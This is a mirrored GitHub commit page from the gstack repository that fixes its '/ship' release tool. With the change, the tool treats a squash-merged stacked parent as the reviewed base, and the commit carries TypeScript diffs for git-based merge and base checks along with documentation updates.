mirror of
https://github.com/garrytan/gstack.git
synced 2026-11-05 08:23:59 +01:00
fix(ship): finish takes a landed stack parent as the reviewed base, fail-closed (GST-1399) (#4021)
* fix(ship): finish takes a landed stack parent as the reviewed base, fail-closed on metadata and never bounded (GST-1399)
Ported from #4013 onto #4020's route: the stacked-parent path judges every
shipped path's metadata class against main, counts stamp_paths and
release_outputs only while stamp-only, and never feeds the bounded route.
The receipt carry's landed-parent search finds a squash main edited since.
Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
* fix(ship): a loop exception starts at the landed parent; a conflicted base commit never holds a parent (GST-1399)
Review-Finding: p1/red-team#1 reader=red-team
Review-Finding: v1/outside-voice#1 reader=outside-voice
Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
* fix(ship): a metadata-only conflict still holds a landed parent; a post-merge loop head starts at its own fork (GST-1399)
heldBy counts a merge as conflicted only when a conflicted path is inside its pathspec, so a train's VERSION restamp
in the squash no longer hides the landed parent. The review-loop exception's atHead uses patchBase, so a fix-check head
after the child merged main starts at its own merge base, not at the parent.
Review-Finding: p2/specialist-batched#1 reader=specialist-batched
Review-Finding: p2/red-team#1 reader=red-team
Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
* test(ship): stacked-parent loop-exception matrix over merge order, parent state and fix-check head (GST-1399)
28 cells: the child merged main before the parent landed, after, or never; the parent landed by squash, by squash
with a later main edit of its lines, with a release fold, or not at all; the fix-check head is before any merge, the
merge, or after it. Every cell runs the postinstall and stamp_paths probes (parent changes main never took, edited
after the fix-check) and a control run (the child's own file and a main-only file edited after the fix-check).
Red at 3f4c47c (4): merged before or after the landing × parent edited × fix-check head merge or post; the
exception accepts package.json and src/policy.ts. The other 24 cells pass.
Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
* fix(ship): a loop exception's fix-check paths are the head's own patch from both forks; heldBy reads merge-tree with -z (GST-1399)
The "touched at the fix-check head" set is the intersection of the head's patch from its merge base and from the
landed parent, so neither a parent change main never took nor a main-only file counts as reviewed, whatever order
the child merged main in. heldBy reads conflicted names NUL-separated, so a C-quoted name still counts as a conflict.
The stacked-parent matrix (28 cells) is green.
Review-Finding: fc1/fix-check#1 reader=fix-check
Review-Finding: fc1/fix-check#3 reader=fix-check
Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
---------
Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
This commit is contained in:
1 parent
44f4875c9d
commit
549b9a8660
8 files changed
+629
-29
No files matched your search
@@ -0,0 +1 @@
|
||||
- **/ship's finish stops flagging main's edits after a stacked parent squash-merges.** A child PR reviewed against its parent branch saves the parent's head as its reviewed base. Once the parent squash-merged and the child merged main, `gstack-ship-release finish` refused that head as not on main, and the old merge base it fell back to counted the parent's and main's later edits as changes since review, so #4008 paid two review exceptions and a split for files it never changed. finish now takes a landed stack parent as `--reviewed-base`: a commit the branch contains whose change a main commit holds, found at the squash even when main edited those lines afterwards (`REVIEWED_BASE: stack parent <sha> landed on origin/main at <sha>`). The route, the granted fix-check's credit, the scoped-review packet and the docs carry then compare the child's own patch, and a file the child no longer changes counts as base only when main already holds the reviewed change to it. A child edit after review, a revert to main's content, a parent main never received (including a `package.json` script the child's version bump later touched, or a logic edit to a `stamp_paths` file) and any other commit off main still stop. A post-review edit on this path never takes the one-reader bounded route; it stops for a full re-review. The receipt carry's landed-parent search finds the squash the same way. (GST-1399)
|
||||
+31
-1
@@ -1685,7 +1685,37 @@ child made before its receipt brought it in) unless HEAD changed it against the
|
||||
base (GST-1214): an equal
|
||||
patch-id carries with reason `stack parent <sha12> landed`, base context next
|
||||
to the child's unchanged hunks is `RECEIPT_CARRY_SCOPED_REVIEW`, and any other
|
||||
difference refuses with `RECEIPT_CARRY_PRODUCT_CHANGED`.
|
||||
difference refuses with `RECEIPT_CARRY_PRODUCT_CHANGED`. When merging the commit
|
||||
into the current base conflicts because the base edited the landed lines
|
||||
afterwards, the base commits since the fork that touched every path of its
|
||||
change are tried newest first (at most 200), so the squash itself still counts
|
||||
(GST-1399).
|
||||
|
||||
**finish after a stack parent lands (GST-1399).** A child reviewed against its
|
||||
parent branch passes the parent's head to `gstack-ship-release finish
|
||||
--reviewed-base`, even after the parent squash-merged and the child merged the
|
||||
base. finish takes it when the branch contains it and a base commit holds its
|
||||
change outside release metadata and changelog fragments (a release folds every
|
||||
fragment on the base), found as the carry finds a landed parent, and
|
||||
prints `REVIEWED_BASE: stack parent <sha12> landed on origin/<base> at <sha12>`.
|
||||
The route, a granted fix-check's sides, the scoped-review packet and the docs
|
||||
carry then compare each commit's patch from that parent, so the parent's and the
|
||||
base's edits route as `base=`. The route also reads every path the branch ships
|
||||
against the base, changed since review or not, and judges every shipped path's
|
||||
release-metadata class against the base, so a parent change the base never
|
||||
received (a `package.json` script, even after the child's version bump) or a
|
||||
merge that kept a line the base changed since still stops. Both the landed check
|
||||
and this class count a `stamp_paths` or `release_outputs` file as metadata only
|
||||
while its edit is a version stamp, as `stamp_files` are; any other edit to one
|
||||
must be held by the base or stop. A landed stack parent never takes the bounded
|
||||
route: a post-review edit that a child reviewed against the base would send to
|
||||
one scoped reader stops for Steps 5–11.5 instead. A path the child no longer changes against the base routes as base only
|
||||
when the base already holds the reviewed change to it (a three-way merge of the
|
||||
reviewed change into the base leaves the base's bytes, and a reviewed mode change
|
||||
is the base's mode); a post-review revert to the base's content or mode still
|
||||
stops. Any other commit
|
||||
off the base, a parent the base never received included, stops with
|
||||
`--reviewed-base <sha> is not on origin/<base>, nor a landed stack parent`.
|
||||
|
||||
Since the release that added `review_scope`. A `/ship` receipt names the head it
|
||||
reviewed, so a conflict-only merge of the base or a test-only fix used to
|
||||
|
||||
@@ -102,14 +102,16 @@ export function versionOnlyEdit(cwd: string, ref: string, p: string): boolean {
|
||||
/**
|
||||
* Release metadata a version stamp and Steps 13-14 write, compared against `ref`: the release commit's paths,
|
||||
* never a behavior change. A manifest counts only while its edit is version-only (a dependency, script or
|
||||
* lockfile change is a build input); bun.lock never counts.
|
||||
* lockfile change is a build input); bun.lock never counts. `stampOnly` (a landed stack parent's checks, GST-1399)
|
||||
* counts a `stamp_paths` or `release_outputs` file only while its edit is a version stamp, as `stamp_files` are.
|
||||
*/
|
||||
export function releasePaths(policy: Record<string, any> | null, cwd: string, ref: string, base: string): string[] {
|
||||
export function releasePaths(policy: Record<string, any> | null, cwd: string, ref: string, base: string, stampOnly = false): string[] {
|
||||
const list = (v: unknown) => (Array.isArray(v) ? v.filter((s): s is string => typeof s === 'string') : []);
|
||||
const fragment = fragmentPath(policy, cwd);
|
||||
const declared = [...list(policy?.release_outputs), ...list(policy?.stamp_paths)];
|
||||
return [...new Set(['VERSION', 'CHANGELOG.md', 'TODOS.md', 'agents-digest/gstack-AGENTS.md', ...VERSIONED_MANIFESTS.filter(p => versionOnlyEdit(cwd, ref, p)),
|
||||
...(typeof policy?.changelog === 'string' ? [policy.changelog] : []), ...(fragment ? [fragment] : []), ...list(policy?.release_outputs), ...list(policy?.stamp_paths),
|
||||
...stampedFiles(policy, cwd, ref, base)])];
|
||||
...(typeof policy?.changelog === 'string' ? [policy.changelog] : []), ...(fragment ? [fragment] : []), ...(stampOnly ? [] : declared),
|
||||
...stampedFiles(stampOnly ? { ...policy, stamp_files: [...list(policy?.stamp_files), ...declared] } : policy, cwd, ref, base)])];
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -22,6 +22,7 @@
|
||||
import { spawnSync } from 'node:child_process';
|
||||
import { createHash } from 'node:crypto';
|
||||
import * as fs from 'node:fs';
|
||||
import * as os from 'node:os';
|
||||
import * as path from 'node:path';
|
||||
import { EMPTY_PROJECT_CONFIG, scanCandidate } from './gate-diff/index';
|
||||
import { parseUnifiedDiff } from './gate-diff/git';
|
||||
@@ -127,6 +128,31 @@ export function comparePath(repoRoot: string, s: PatchSides, rel: string): PathV
|
||||
return ids[0] === ids[1] ? 'same' : 'context';
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether the current base already holds the reviewed change to a path the branch no longer changes (GST-1399): a
|
||||
* three-way merge of reviewedBase -> reviewed into currentBase leaves currentBase's bytes, as when the base absorbed the
|
||||
* child's hunk. A post-review revert to the base's content leaves the reviewed change out of the base, so it is not held,
|
||||
* and a reviewed mode change (executable bit, symlink) is held only when the base has the reviewed mode. A path missing on
|
||||
* any side is not held.
|
||||
*/
|
||||
export function baseHolds(repoRoot: string, s: PatchSides, rel: string): boolean {
|
||||
const blobs = [s.currentBase, s.reviewedBase, s.reviewed].map(ref => {
|
||||
const r = spawnSync('git', ['cat-file', 'blob', `${ref}:${rel}`], { cwd: repoRoot, timeout: 120_000, maxBuffer: 256 * 1024 * 1024 });
|
||||
return r.status === 0 ? r.stdout : null;
|
||||
});
|
||||
if (blobs.some(b => b === null)) return false;
|
||||
const [mc, mb, mr] = [s.currentBase, s.reviewedBase, s.reviewed].map(ref => git(repoRoot, ['ls-tree', '--full-tree', ref, '--', rel])?.split(' ')[0]);
|
||||
if (!mc || !mr || (mr !== mb && mr !== mc)) return false;
|
||||
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'ship-patch-'));
|
||||
try {
|
||||
const files = blobs.map((b, i) => { const f = path.join(dir, String(i)); fs.writeFileSync(f, b!); return f; });
|
||||
const merged = spawnSync('git', ['merge-file', '-p', '-q', ...files], { cwd: repoRoot, timeout: 120_000, maxBuffer: 256 * 1024 * 1024 });
|
||||
return merged.status === 0 && merged.stdout.equals(blobs[0]!);
|
||||
} finally {
|
||||
fs.rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
function hunkTexts(diff: string): string[] {
|
||||
return diff.split(/^(?=@@ )/m).slice(1).map(h => h.replace(/^@@ [^@]*@@/, '@@'));
|
||||
}
|
||||
|
||||
+40
-4
@@ -321,12 +321,50 @@ export function planCarry(input: CarryPlanInput): CarryPlan {
|
||||
};
|
||||
}
|
||||
|
||||
/** How many base commits since the fork heldBy tries after a conflicted base tip, newest first. */
|
||||
export const HELD_WALK = 200;
|
||||
|
||||
/**
|
||||
* The base commit that holds `commit`'s own change (GST-1199, GST-1399; finish's landed stack parent and landedStackParent): merging `commit` into it changes no path in
|
||||
* `pathspec`. The current base is tried first. When that merge conflicts (the base edited the landed lines afterwards),
|
||||
* the commits on its first-parent history since the fork that touched every path of the change are tried newest first,
|
||||
* so a squash the base later edited is still found. A change with no path of its own is held by no commit (any base
|
||||
* trivially holds it), and a conflict inside `pathspec` is never held (one only in excluded release metadata, like a
|
||||
* train's VERSION restamp, is). Null when none within HELD_WALK holds it or git cannot tell.
|
||||
*/
|
||||
export function heldBy(repoRoot: string, commit: string, currentBase: string, pathspec: readonly string[]): string | null {
|
||||
const run = (args: string[]) => spawnSync('git', ['-c', 'core.quotepath=off', ...args], { cwd: repoRoot, encoding: 'utf8', timeout: 120_000, maxBuffer: 64 * 1024 * 1024 });
|
||||
const fork = run(['merge-base', currentBase, commit]).stdout.trim();
|
||||
const own = fork ? run(['diff', '-z', '--name-only', '--no-renames', fork, commit, '--', ...pathspec]) : null;
|
||||
const paths = own?.status === 0 ? own.stdout.split('\0').filter(Boolean) : [];
|
||||
if (!paths.length) return null;
|
||||
const holds = (at: string): 'held' | 'conflict' | 'no' => {
|
||||
const merged = run(['merge-tree', '--write-tree', '--no-messages', '--name-only', '-z', at, commit]);
|
||||
const [tree, ...conflicted] = merged.status === 0 || merged.status === 1 ? merged.stdout.split('\0').filter(Boolean) : [];
|
||||
const mb = conflicted.length ? run(['merge-base', at, commit]).stdout.trim() : '';
|
||||
const theirs = mb ? run(['diff', '-z', '--name-only', '--no-renames', mb, commit, '--', ...pathspec]) : null;
|
||||
const clean = !conflicted.length || (theirs?.status === 0 && !theirs.stdout.split('\0').some(p => conflicted.includes(p)));
|
||||
if (tree && clean && run(['diff', '--quiet', at, tree, '--', ...pathspec]).status === 0) return 'held';
|
||||
return merged.status === 1 ? 'conflict' : 'no';
|
||||
};
|
||||
const tip = holds(currentBase);
|
||||
if (tip !== 'conflict') return tip === 'held' ? currentBase : null;
|
||||
const log = run(['log', '--first-parent', '-z', '--format=%x01%H', '--name-only', '--no-renames', `--max-count=${HELD_WALK}`, `${fork}..${currentBase}`, '--', ...paths.map(p => `:(top,literal)${p}`)]);
|
||||
if (log.status !== 0) return null;
|
||||
for (const entry of log.stdout.split('\x01').filter(Boolean)) {
|
||||
const [at, ...names] = entry.split(/[\n\0]/).filter(Boolean);
|
||||
if (at && at !== currentBase && paths.every(p => names.includes(p)) && holds(at) === 'held') return at;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/** How many commits of the reviewed range landedStackParent tries, newest first. */
|
||||
export const STACK_PARENT_WALK = 100;
|
||||
|
||||
/**
|
||||
* The newest commit inside the reviewed range (rangeBase..reviewed, the reviewed head itself excluded) whose product
|
||||
* change the current base already holds: merging it into currentBase changes no product path. That is a stack parent
|
||||
* change the current base already holds: merging it into currentBase, or into the base commit that landed it when the
|
||||
* base edited those lines since (heldBy, GST-1399), changes no product path. That is a stack parent
|
||||
* that squash-merged (or merged) into the base after the receipt was written against the base (GST-1199). A commit with no
|
||||
* product change of its own (a test-first commit) is no parent, since any base trivially holds it. Null when no
|
||||
* commit within STACK_PARENT_WALK qualifies or git cannot tell; a conflicted product path is never held.
|
||||
@@ -337,9 +375,7 @@ export function landedStackParent(repoRoot: string, s: { rangeBase: string; revi
|
||||
if (commits.status !== 0) return null;
|
||||
for (const commit of commits.stdout.split('\n').filter(c => c && c !== s.reviewed)) {
|
||||
if (run(['diff', '--quiet', s.rangeBase, commit, '--', ...product]).status !== 1) continue;
|
||||
const merged = run(['merge-tree', '--write-tree', '--no-messages', s.currentBase, commit]);
|
||||
const tree = merged.status === 0 || merged.status === 1 ? merged.stdout.split('\n')[0]?.trim() : undefined;
|
||||
if (tree && run(['diff', '--quiet', s.currentBase, tree, '--', ...product]).status === 0) return commit;
|
||||
if (heldBy(repoRoot, commit, s.currentBase, product)) return commit;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
+64
-20
@@ -15,7 +15,8 @@ import { mergeChangelogs, normalizeChangelog } from './changelog-check';
|
||||
import { versionAtRef } from './restamp';
|
||||
import { classifyPath } from './review-depth';
|
||||
import { matchesAny } from './ship-policy';
|
||||
import { boundedPaths, comparePath, contextPacket, gateEditedPaths, isTestCode, PACKET_SECTION_CAP, readScopedReview, touchedPaths, type BoundedKind, type PatchSides } from './ship-patch';
|
||||
import { baseHolds, boundedPaths, comparePath, contextPacket, gateEditedPaths, isTestCode, PACKET_SECTION_CAP, readScopedReview, touchedPaths, type BoundedKind, type PatchSides } from './ship-patch';
|
||||
import { heldBy } from './ship-receipt';
|
||||
import { locate, readRecord } from './approval-record';
|
||||
import { reviewFreshness } from './review-evidence';
|
||||
import { parseReviewLoopException, type ReviewLoopException } from './ship-receipt-depth';
|
||||
@@ -37,7 +38,7 @@ export const RELEASE_HELP = `gstack-ship-release — /ship Steps 12 and 15-17 (s
|
||||
[--docs-requested <path>... --docs-result <the audit's result JSON>] [--review-loop-exception <json|@file>]
|
||||
Step 15's release commit, Step 16 stages 1-4 (your builds, the reviewed-tree route, docs freshness,
|
||||
each lane's receipt run once if stale) and the pregate on the stamped tree; --reviewed-base (the merge base
|
||||
saved with the reviewed tree) routes paths only the base moved as base=, and an adjacent base edit as context=;
|
||||
saved with the reviewed tree, or a stack parent's head once the parent landed: REVIEWED_BASE:) routes paths only the base moved as base=, and an adjacent base edit as context=;
|
||||
--review-loop-exception (the record write takes) routes paths the branch touched at fix_check.head (narrowed to fix_check.files when listed) and changed since as accepted=
|
||||
A lane the base branch maps in .gstack/pregate.json ship_lanes_from is carried from a verified CI run at this exact
|
||||
tree, else deferred (EVIDENCE: DEFERRED): the pregate then runs its preflight stage here and its tests stage in accept
|
||||
@@ -201,8 +202,41 @@ function harnessRepin(cwd: string, from: string, to: string, p: string): boolean
|
||||
*/
|
||||
type FixCheckException = ReviewLoopException & { fix_check: NonNullable<ReviewLoopException['fix_check']> };
|
||||
type Routed = Record<'behavior' | 'docs' | 'metadata' | 'tests' | 'base' | 'context' | 'bounded' | 'accepted' | 'fix_checked', string[]>;
|
||||
type RouteOpts = { docsRechecked: boolean; contextReviewed?: string; loop?: FixCheckException; audited: Record<string, string | null> | null; bookkeeping: readonly string[] };
|
||||
function route(cwd: string, base: string, reviewed: string, reviewedBase: string | undefined, release: string[], opts: RouteOpts, r: Report): Routed | null {
|
||||
type ReviewedBase = { commit: string; parent: boolean };
|
||||
type RouteOpts = { docsRechecked: boolean; contextReviewed?: string; loop?: FixCheckException; audited: Record<string, string | null> | null; bookkeeping: readonly string[]; baseRelease?: string[] };
|
||||
|
||||
/**
|
||||
* The --reviewed-base commit: one on the base, or a landed stack parent (GST-1399). A child reviewed against its parent
|
||||
* branch saves the parent's head; once the parent squash-merges and the child merges the base, that head is on no base
|
||||
* history, but the branch contains it and a base commit holds its change outside release metadata (heldBy), changelog
|
||||
* fragments included, since a release folds every fragment on the base.
|
||||
* Each side's patch then runs from the parent, so the parent's and the base's edits are base, and a parent the base never
|
||||
* received, or any other commit off the base, still stops. The route then also reads every path the branch ships against
|
||||
* the base, unchanged since review or not, so a parent change the base never received, or a merge that kept a line the
|
||||
* base changed since, still stops even when the landed check's metadata exclusions let the parent through.
|
||||
*/
|
||||
function reviewedBaseCommit(cwd: string, baseRef: string, reviewedBase: string, metadata: string[], r: Report): ReviewedBase | null {
|
||||
const rb = git(cwd, ['rev-parse', '--verify', '--quiet', `${reviewedBase}^{commit}`]).stdout.trim();
|
||||
if (!rb) { r.stop(`--reviewed-base ${reviewedBase.slice(0, 40)} is not a commit in this clone: pass the merge base saved with the reviewed tree (git merge-base ${baseRef} HEAD at Step 11)`); return null; }
|
||||
if (git(cwd, ['merge-base', '--is-ancestor', rb, baseRef]).status === 0) return { commit: rb, parent: false };
|
||||
const cb = git(cwd, ['merge-base', baseRef, 'HEAD']).stdout.trim();
|
||||
const at = cb && git(cwd, ['merge-base', '--is-ancestor', rb, 'HEAD']).status === 0 ? heldBy(cwd, rb, cb, [':(top)', ...metadata]) : null;
|
||||
if (at) {
|
||||
r.add(`REVIEWED_BASE: stack parent ${rb.slice(0, 12)} landed on ${baseRef} at ${at.slice(0, 12)}`);
|
||||
return { commit: rb, parent: true };
|
||||
}
|
||||
r.stop(`--reviewed-base ${rb.slice(0, 12)} is not on ${baseRef}, nor a landed stack parent (a commit this branch contains whose change ${baseRef} already holds): pass the merge base saved with the reviewed tree (git merge-base <the review's base> HEAD at Step 11)`);
|
||||
return null;
|
||||
}
|
||||
|
||||
/** Where a branch commit's own patch starts: its merge base with the base, or the landed stack parent when the commit holds it and forked before it. */
|
||||
function patchBase(cwd: string, baseRef: string, commit: string, parent: string | undefined): string {
|
||||
const fork = git(cwd, ['merge-base', baseRef, commit]).stdout.trim();
|
||||
const holds = (a: string, d: string) => git(cwd, ['merge-base', '--is-ancestor', a, d]).status === 0;
|
||||
return parent && fork && holds(parent, commit) && holds(fork, parent) ? parent : fork;
|
||||
}
|
||||
|
||||
function route(cwd: string, base: string, reviewed: string, reviewedBase: ReviewedBase | undefined, release: string[], opts: RouteOpts, r: Report): Routed | null {
|
||||
const now = bin(cwd, 'gstack-wtree', [], 60_000).stdout.trim();
|
||||
if (!/^[0-9a-f]{40,64}$/.test(now)) { r.stop('gstack-wtree printed no tree; the stage 2 comparison is blocked'); return null; }
|
||||
const changedSet = touchedPaths(cwd, reviewed, now);
|
||||
@@ -210,26 +244,29 @@ function route(cwd: string, base: string, reviewed: string, reviewedBase: string
|
||||
const baseRef = `origin/${base.replace(/^origin\//, '')}`;
|
||||
let sides: PatchSides | undefined;
|
||||
let touched = new Set<string>();
|
||||
let shipped = new Set<string>();
|
||||
const parent = reviewedBase?.parent ? reviewedBase.commit : undefined;
|
||||
if (reviewedBase !== undefined) {
|
||||
const rb = git(cwd, ['rev-parse', '--verify', '--quiet', `${reviewedBase}^{commit}`]).stdout.trim();
|
||||
if (!rb) { r.stop(`--reviewed-base ${reviewedBase.slice(0, 40)} is not a commit in this clone: pass the merge base saved with the reviewed tree (git merge-base ${baseRef} HEAD at Step 11)`); return null; }
|
||||
if (git(cwd, ['merge-base', '--is-ancestor', rb, baseRef]).status !== 0) { r.stop(`--reviewed-base ${rb.slice(0, 12)} is not on ${baseRef}: pass the merge base saved with the reviewed tree (git merge-base ${baseRef} HEAD at Step 11)`); return null; }
|
||||
const cb = git(cwd, ['merge-base', baseRef, 'HEAD']).stdout.trim();
|
||||
const a = touchedPaths(cwd, rb, reviewed);
|
||||
const a = touchedPaths(cwd, reviewedBase.commit, reviewed);
|
||||
const b = cb ? touchedPaths(cwd, cb, now) : null;
|
||||
if (!a || !b) { r.stop(`git could not diff the branch against ${baseRef} (fetch it first): stage 2 is blocked`); return null; }
|
||||
sides = { reviewedBase: rb, reviewed, currentBase: cb, current: now };
|
||||
sides = { reviewedBase: reviewedBase.commit, reviewed, currentBase: cb, current: now };
|
||||
touched = new Set([...a, ...b]);
|
||||
shipped = b;
|
||||
}
|
||||
const by: Routed = { behavior: [], docs: [], metadata: [], tests: [], base: [], context: [], bounded: [], accepted: [], fix_checked: [] };
|
||||
for (const p of [...changedSet].sort()) {
|
||||
const verdict = sides ? (touched.has(p) ? comparePath(cwd, sides, p) : 'same') : 'changed';
|
||||
by[verdict === 'same' ? 'base' : release.includes(p) || harnessRepin(cwd, reviewed, now, p) ? 'metadata' : sides && isTestCode(p) ? 'tests' : classifyPath(p, cwd) === 'docs' && !matchesAny(opts.bookkeeping, p) ? 'docs' : verdict === 'context' ? 'context' : 'behavior'].push(p);
|
||||
const onlyShipped = new Set(parent ? [...shipped].filter(p => !changedSet.has(p)) : []);
|
||||
for (const p of [...changedSet, ...onlyShipped].sort()) {
|
||||
const verdict = sides ? (!touched.has(p) || (parent && !shipped.has(p) && baseHolds(cwd, sides, p)) ? 'same' : comparePath(cwd, sides, p)) : 'changed';
|
||||
const metadata = parent && shipped.has(p) ? opts.baseRelease!.includes(p) || harnessRepin(cwd, sides!.currentBase, now, p) : release.includes(p) || harnessRepin(cwd, reviewed, now, p);
|
||||
by[verdict === 'same' ? 'base' : metadata ? 'metadata' : sides && isTestCode(p) ? 'tests' : classifyPath(p, cwd) === 'docs' && !matchesAny(opts.bookkeeping, p) ? 'docs' : verdict === 'context' ? 'context' : 'behavior'].push(p);
|
||||
}
|
||||
const gated = gateEditedPaths(cwd, reviewed, now, by.tests) ?? new Set(by.tests);
|
||||
const shippedTests = by.tests.filter(p => onlyShipped.has(p));
|
||||
const gated = new Set([...(gateEditedPaths(cwd, reviewed, now, by.tests.filter(p => !onlyShipped.has(p))) ?? by.tests), ...(gateEditedPaths(cwd, sides?.currentBase ?? reviewed, now, shippedTests) ?? shippedTests)]);
|
||||
by.behavior.push(...by.tests.filter(p => gated.has(p)));
|
||||
by.tests = by.tests.filter(p => !gated.has(p));
|
||||
const bounded = boundedPaths(cwd, { sides, reviewed, now, base: baseRef, candidates: by.behavior, audited: opts.audited, bookkeeping: opts.bookkeeping });
|
||||
const bounded = boundedPaths(cwd, { sides, reviewed, now, base: baseRef, candidates: parent ? [] : by.behavior, audited: opts.audited, bookkeeping: opts.bookkeeping });
|
||||
by.bounded = Object.keys(bounded.kinds).sort();
|
||||
by.behavior = by.behavior.filter(p => !by.bounded.includes(p));
|
||||
const late = (): Record<string, BoundedKind> => Object.fromEntries(by.bounded.map(p => [p, bounded.kinds[p]!]));
|
||||
@@ -259,7 +296,7 @@ function route(cwd: string, base: string, reviewed: string, reviewedBase: string
|
||||
if (counted) {
|
||||
const range = touchedPaths(cwd, fixFrom, fixCommit), after = touchedPaths(cwd, fixCommit, now);
|
||||
if (!range || !after) { r.stop(`git could not diff the fix-check range ${fixFrom.slice(0, 12)}..${fixCommit.slice(0, 12)} against the reviewed and current trees: stage 2 is blocked`); return null; }
|
||||
const fixSides = { reviewedBase: git(cwd, ['merge-base', baseRef, fixCommit]).stdout.trim(), reviewed: fixCommit, currentBase: sides?.currentBase ?? git(cwd, ['merge-base', baseRef, 'HEAD']).stdout.trim(), current: now };
|
||||
const fixSides = { reviewedBase: patchBase(cwd, baseRef, fixCommit, parent), reviewed: fixCommit, currentBase: sides?.currentBase ?? git(cwd, ['merge-base', baseRef, 'HEAD']).stdout.trim(), current: now };
|
||||
const unmoved = (p: string) => !after.has(p) || (!!fixSides.reviewedBase && !!fixSides.currentBase && comparePath(cwd, fixSides, p) === 'same');
|
||||
by.fix_checked = [...by.behavior, ...by.tests, ...by.context, ...by.bounded].filter(p => range.has(p) && unmoved(p)).sort();
|
||||
for (const k of ['behavior', 'tests', 'context', 'bounded'] as const) by[k] = by[k].filter(p => !by.fix_checked.includes(p));
|
||||
@@ -270,7 +307,9 @@ function route(cwd: string, base: string, reviewed: string, reviewedBase: string
|
||||
const head = loop.fix_check.head;
|
||||
const since = touchedPaths(cwd, head, now);
|
||||
const fork = git(cwd, ['merge-base', baseRef, head]).stdout.trim();
|
||||
const atHead = fork ? touchedPaths(cwd, fork, head) : null;
|
||||
const own = fork ? touchedPaths(cwd, fork, head) : null;
|
||||
const fromParent = parent && ancestor(parent, head) ? touchedPaths(cwd, parent, head) : own;
|
||||
const atHead = own && fromParent ? new Set([...own].filter(p => fromParent.has(p))) : null;
|
||||
if (!since || !atHead) { r.stop(`git could not list the paths changed since fix-check ${head.slice(0, 12)} or the paths the branch touched at it against ${baseRef}: stage 2 is blocked`); return null; }
|
||||
const listed = loop.fix_check.files;
|
||||
const unscanned = [...by.behavior, ...by.docs].filter(isTestCode);
|
||||
@@ -315,7 +354,7 @@ function route(cwd: string, base: string, reviewed: string, reviewedBase: string
|
||||
* version, each against the audited bytes; GST-906), and --docs-requested fixes the audit's own result asked for do not
|
||||
* stale the audit (GST-391).
|
||||
*/
|
||||
function docsFresh(cwd: string, base: string, postFile: string, moved: readonly string[], requested: string[], resultFile: string | undefined, loopAccepted: readonly string[] | undefined, r: Report): boolean {
|
||||
function docsFresh(cwd: string, base: string, postFile: string, moved: readonly string[], requested: string[], resultFile: string | undefined, loopAccepted: readonly string[] | undefined, parent: string | undefined, r: Report): boolean {
|
||||
const cmp = bin(cwd, 'gstack-docs-candidate', ['compare', postFile], 120_000);
|
||||
let stale: string[] | null = null;
|
||||
try { stale = JSON.parse(cmp.stdout).content_changed; } catch { stale = null; }
|
||||
@@ -343,7 +382,7 @@ function docsFresh(cwd: string, base: string, postFile: string, moved: readonly
|
||||
}
|
||||
const baseRef = `origin/${base.replace(/^origin\//, '')}`;
|
||||
const nul = (out: string) => out.split('\0').filter(Boolean);
|
||||
const auditBase = git(cwd, ['merge-base', baseRef, record.head]).stdout.trim();
|
||||
const auditBase = patchBase(cwd, baseRef, record.head, parent);
|
||||
const nowBase = git(cwd, ['merge-base', baseRef, 'HEAD']).stdout.trim();
|
||||
const nowTree = bin(cwd, 'gstack-wtree', [], 60_000).stdout.trim();
|
||||
const atAudit = auditBase ? touchedPaths(cwd, auditBase, record.head) : new Set<string>();
|
||||
@@ -434,9 +473,14 @@ async function finishStages(argv: readonly string[], cwd: string): Promise<Repor
|
||||
let audited: Record<string, string | null> | null = null;
|
||||
try { const h = JSON.parse(fs.readFileSync(flag('--docs-post')!, 'utf8')).hashes; audited = h && typeof h === 'object' && !Array.isArray(h) ? h : null; } catch { audited = null; }
|
||||
const bookkeeping = Array.isArray(policy?.bookkeeping) ? policy!.bookkeeping.filter((g: unknown): g is string => typeof g === 'string') : [];
|
||||
const routed = route(cwd, base, flag('--reviewed-tree')!, flag('--reviewed-base'), release, { docsRechecked: has('--docs-rechecked'), contextReviewed: flag('--context-reviewed'), loop, audited, bookkeeping }, r);
|
||||
const reviewedBaseArg = flag('--reviewed-base');
|
||||
const fragments = typeof policy?.changelog_fragments?.dir === 'string' ? [`:(top,exclude,glob)${policy.changelog_fragments.dir.replace(/\/+$/, '')}/*.md`] : [];
|
||||
const reviewedBase = reviewedBaseArg === undefined ? undefined : reviewedBaseCommit(cwd, `origin/${base.replace(/^origin\//, '')}`, reviewedBaseArg, [...releasePaths(policy, cwd, flag('--reviewed-tree')!, base, true).map(p => `:(top,exclude,literal)${p}`), ...fragments], r);
|
||||
if (reviewedBase === null) return r;
|
||||
const baseRelease = reviewedBase?.parent ? releasePaths(policy, cwd, git(cwd, ['merge-base', `origin/${base.replace(/^origin\//, '')}`, 'HEAD']).stdout.trim(), base, true) : undefined;
|
||||
const routed = route(cwd, base, flag('--reviewed-tree')!, reviewedBase, release, { docsRechecked: has('--docs-rechecked'), contextReviewed: flag('--context-reviewed'), loop, audited, bookkeeping, baseRelease }, r);
|
||||
if (!routed) return r;
|
||||
if (!docsFresh(cwd, base, flag('--docs-post')!, [...routed.base, ...routed.context, ...stampedFiles(policy, cwd, flag('--reviewed-tree')!, base)], all('--docs-requested'), flag('--docs-result'), loop ? routed.accepted : undefined, r)) return r;
|
||||
if (!docsFresh(cwd, base, flag('--docs-post')!, [...routed.base, ...routed.context, ...stampedFiles(policy, cwd, flag('--reviewed-tree')!, base)], all('--docs-requested'), flag('--docs-result'), loop ? routed.accepted : undefined, reviewedBase?.parent ? reviewedBase.commit : undefined, r)) return r;
|
||||
if (!list.length && !has('--no-lanes-approved')) return r.stop('no test lanes: require Step 5\'s explicit untested-scope approval (rerun with --no-lanes-approved) or run Steps 5-15');
|
||||
const allow = evidenceExempt(release).join(',');
|
||||
